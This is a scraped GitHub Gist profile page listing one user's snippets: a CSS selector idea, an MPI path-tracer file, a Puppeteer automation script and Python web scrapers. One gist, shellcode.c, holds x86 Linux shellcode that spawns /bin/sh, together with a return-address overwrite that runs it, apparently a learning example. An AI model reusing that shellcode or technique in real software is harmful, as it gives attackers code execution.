Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Eastkap Eastkap

🎯
Focusing
View GitHub Profile
View example.css
/*
Selects all <ancestor>s which have <descendant> as a descendant somewhere
in its DOM hieraracy.
*/
ancestor << descendant {
/* Styles */
}
View shellcode.c
char shellCode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void execShell() { int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellCode;
}
void main() {
execShell();
return(0); }
@Eastkap
Eastkap / hybride.c
Created May 9, 2019
code that segfaults on process 3 when doing 2 process on two separate nodes
View hybride.c
/* basé sur on smallpt, a Path Tracer by Kevin Beason, 2008
* http://www.kevinbeason.com/smallpt/
*
* Converti en C et modifié par Charles Bouillaguet, 2019
*
* Pour des détails sur le processus de rendu, lire :
* https://docs.google.com/open?id=0B8g97JkuSSBwUENiWTJXeGtTOHFmSm51UC01YWtCZw
*/
#define _XOPEN_SOURCE
View index.js
// We'll use Puppeteer is our browser automation framework.
const puppeteer = require('puppeteer-core');
const chromeLauncher = require('chrome-launcher');
const req = require('./req')
const request = require('request-promise-native')
const profile = require('./profiles')[0]
const util = require('util')
const devices = require('puppeteer/DeviceDescriptors');
const iPhone = devices['iPhone X landscape'];
View getimg.py
import sys, re, csv, requests, time, random
from bs4 import BeautifulSoup
if sys.version_info[0] == 3:
from urllib.request import *
else:
# Not Python 3 - today, it is most likely to be Python 2
# But note that this might need an update when Python 4
# might be around one day
from urllib import urlopen
View getimg.py
import sys, re, csv, requests
from bs4 import BeautifulSoup
if sys.version_info[0] == 3:
from urllib.request import urlopen
else:
# Not Python 3 - today, it is most likely to be Python 2
# But note that this might need an update when Python 4
# might be around one day
from urllib import urlopen
@Eastkap
Eastkap / vroom_betatst.py
Last active Jan 16, 2017
scrapping vroom vroom and making data to base de donnees
View vroom_betatst.py
import sys, re
from bs4 import BeautifulSoup
def fnum(s):
for i in range(len(s)):
if (s[i].isdigit()):
return i
You can’t perform that action at this time.